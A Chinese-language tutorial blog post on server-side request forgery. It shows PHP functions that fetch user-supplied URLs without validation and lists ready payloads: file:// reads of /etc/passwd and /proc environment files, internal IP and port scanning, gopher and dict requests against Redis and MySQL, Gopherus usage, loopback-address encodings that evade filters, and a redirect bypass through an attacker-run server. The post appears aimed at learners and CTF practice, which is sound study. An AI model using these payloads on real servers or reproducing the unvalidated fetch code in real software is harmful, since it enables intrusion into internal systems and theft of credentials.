SSRF

Toretto·2024-04-30 19:05·48 次阅读

SSRF

SSRF漏洞

一、概念#

什么是SSRF漏洞#

SSRF(Server-Side Request Forgery,服务器请求伪造)是一种由攻击者构造请求,由服务端发起请求的安全漏洞,一般情况下,SSRF攻击的目标是外网无法访问的内网系统(正因为请求时由服务端发起的,所以服务端能请求到与自身相连而与外网隔绝的内部系统)。

产生漏洞的函数#

1.file_get_contents()#

Copy
<?php $url = $_GET['url']; $homepage = file_get_contents($url); echo $homepage; ?> // 在参数可控的情况下可能会产生,目录穿越,任意文件读取漏洞 // file_get_contents() 函数遇到了不认识的伪协议头就会将他当做文件夹,配合目录穿越即可读取文件

2.fsockopen()#

​ 用于打开一个网络连接或者一个Unix 套接字连接,初始化一个套接字连接到指定主机(hostname),实现对用户指定url数据的获取。该函数会使用socket跟服务器建立tcp连接,进行传输原始数据。fsockopen()将返回一个文件句柄,之后可以被其他文件类函数调用(例如:fgets(),fgetss(),fwrite(),fclose()还有feof())。如果调用失败,将返回false。

Copy
fsockopen($hostname,$port,$errno,$errstr,$timeout); <?php $host=$_GET['url']; $fp = fsockopen($host, 80, $errno, $errstr, 30); if (!$fp) { echo "$errstr ($errno)<br />\n"; } else { $out = "GET / HTTP/1.1\r\n"; $out .= "Host: $host\r\n"; $out .= "Connection: Close\r\n\r\n"; fwrite($fp, $out); while (!feof($fp)) { echo fgets($fp, 128); } fclose($fp); } ?>

3.curl_exec()#

​ 改函数初始化一个新的会话,返回一个cURL句柄,供curlsetopt()curlexec()curlclose() 函数使用。

Copy
<?php if (isset($_GET['url'])){ $link = $_GET['url']; $curlobj = curl_init(); // 创建新的 cURL 资源 curl_setopt($curlobj, CURLOPT_POST, 0); curl_setopt($curlobj,CURLOPT_URL,$link); curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1); // 设置 URL 和相应的选项 $result=curl_exec($curlobj); // 抓取 URL 并把它传递给浏览器 curl_close($curlobj); // 关闭 cURL 资源,并且释放系统资源 // $filename = './curled/'.rand().'.txt'; // file_put_contents($filename, $result); echo $result; } ?>

二、攻击方式#

攻击者借助主机A发送请求给目标机B,从而获取主机B的一些信息

三、协议#

SSRF漏洞的利用所涉及的协议有:

1.file 协议#

file协议主要用于访问本地计算机的文件,就如同windows资源管理器中打开文件一样,在有回显的情况下,可以用于读取文件进行查看。

Copy
file 协议: 在有回显的情况下,利用 file 协议可以读取任意文件的内容 http://example.com/ssrf.php?url=file:///etc/passwd http://example.com/ssrf.php?url=file:///C:/Windows/win.ini 其他文件如: /proc/1/environ

2.http/s 协议#

通常用http/s协议用于探测内网存活。一般是先想办法得到目标主机的网络配置信息,如读取/etc/hosts、/proc/net/arp、/proc/net/fib_trie等文件,从而获得目标主机的内网网段并进行爆破。

example:(假设内网的IP为192.168.91.x)这里可以配合Burp对192.168.91.1-255进行爆破,根据返回结果长度的不同来判断ip是否存活。

Copy
http://192.168.91.$1$

3.dict 协议#

词典网络协议可以用于探测或扫描内网端口在SSRF中发挥重要作用。

Copy
dict 协议:泄露安装软件版本信息,查看端口,操作内网redis服务等

4.gopher 协议#

介绍#

​ gopher伪协议是http协议的高级版。

​ gopher支持发出GET、POST请求。可以先截获get请求包和post请求包,再构造成符合gopher协议的请求。gopher协议是ssrf利用中一个最强大的协议(俗称万能协议)。可用于反弹shell、内网的redis,mysql(以及各类关系型数据库)未授权访问,以及MongoDB,Memcache等。

Copy
协议格式: gopher://<host>:<port>/_<content> 注意:gopher协议不转发第一个字符,所以要在content前加一个任意字符(这里使用下划线)作为填充位 gopher默认端口: 70

请求#

gopher协议发送GET请求

Copy
与正常发送get请求一样,gopher协议也需要发送一个get头部信息给web服务器 get头部有很多字段,但是gopher只要求必须有路径和ip这两个即可: 如: GET /index.php HTTP/1.1 Host: X.X.X.X 构造pyload: 1. 原始信息: gopher://x.x.x.x:80/_GET /index.php?a=1 HTTP/1.1 Host:X.X.X.X 2. 在ssrf服务器页面手动url编码: gopher://x.x.x.x:80/_GET%20/index.php%3fa=1%20HTTP/1.1%0d%0aHost:X.X.X.X%0d%0a #问号(?)需要转码为URL编码,也就是%3f #回车换行要变为%0d%0a,但如果直接用工具转,可能只会有%0a #在HTTP包的最后要加%0d%0a,代表消息结束(具体可研究HTTP包结束) 注意:所有get/post请求最后必须有一个换行符(包括我们正常使用http发送get请求),使用burp抓包可以看到,get头部的最后一行会有一个换行 3.或者我们直接用burp提交 //对get请求做两次url编码,第一次是模拟浏览器url编码,第二次是模拟ssrf服务器向攻击服务器提交get请求时的url编码 //为什么手动url编码只编码一次?因为那没有算浏览器的url编码,我们用burp抓包一下就能看到数据包信息已经被再次编码了

gopher协议发送POST请求

Copy
gopher发送post请求需要四个字段: 1.POST 2.Host 3.Content-Type 4.Content-Length pyload: 1. 原始信息: gopher://x.x.x.x:80/_POST index.php HTTP/1.1 Host:X.X.X.X Content-Type:XXX Content-Length:3 a=1 2. url编码 gopher://x.x.x.x:80/_POST%20index.php%20HTTP/1.1%0d%0aHost:X.X.X.X%0d%0aContent-Type:XXX%0d%0aContent-Length:3%0d%0aa=1 注意:Content-Length后面跟的长度和我们提交的POST数据长度是一致的(如果小与数据长度,则会导致读取的信息不完整)

端口扫描#

gopher协议还可以探测端口是否开放

例如:

Copy
gopher协议探测出3306端口 gopher://127.0.0.1:3306

Gopherus工具解析#

Copy
#下载工具 git clone https://github.com/tarunkant/Gopherus #赋予执行权限 chmod +x install.sh #开始进行安装 sudo ./install.sh

Gopherus工具是用来专门生成gopher协议的payload工具,通过gopher协议的以及各种被攻击应用的tcp包特点来构造payload

目前支持生成payload应用有:

Copy
MySQL (Port:3306) FastCGI (Port:9000) Memcached (Port:11211) Redis (Port:6379) Zabbix (Port:10050) SMTP (Port:25)

Script目录下存放为各种payload生成器

image-20240421131045201

详细使用

Copy
简单指令: 攻击mysql gopherus --exploit mysql 读文件:在MySQL中,LOAD_FILE()函数读取一个文件并将其内容作为字符串返回 语法:LOAD_FILE(file_name) username:root query:select LOAD_FILE('/flag'); #local_file()函数读取本地文件 注意:生成的payload _ 后的部分要url二次编码

5.ldap协议#

Copy
ldap://localhost:1337/%0astats%0aquit

四、绕过#

1.环回地址绕过#

Copy
1.进制绕过 标准点分十进制 127.0.0.1 http://127.0.0.1 二进制 0b 01111111 00000000 00000000 000000001 http://0b011111110000000000000000000000001 http://0b01111111.0b00000000.0b00000000.0b000000001 八进制 0 17700000001 http://017700000001 http://0177.0000.0000.0001 http://0177.0.0.1 十六进制 0x 7F000001 http://0x7F000001 http://0x7F.0x00.0x00.0x01 http://0x7F.0.0.1 十进制 2130706433 http://2130706433

2.重定向绕过#

Copy
原理:用ssrf访问重定向网页,在网页里写入pyload信息,利用重定向可以绕过ssrf服务器对pyload的限制 要求:一台公网ip服务器 操作:使用 php -S x.x.x.x:x 开启web服务监听 (注意不要使用python -m) 此时开启的是内网服务,需要使用公网ip:端口,进行映射 例如: php -S 192.168.3.1:7777 假设我的公网ip为:222.183.24.10,则:使用映射:http://222.183.24.10:7777 pyload: index.php <?php header('Location:http://127.0.0.1/flag.php'); http://222.183.24.10:7777/index.php

3.命令执行#

Copy
posted @   波波sama  阅读(48)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 阿里最新开源QwQ-32B,效果媲美deepseek-r1满血版,部署成本又又又降低了!
· AI编程工具终极对决:字节Trae VS Cursor,谁才是开发者新宠?
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
点击右上角即可分享
微信分享提示
目录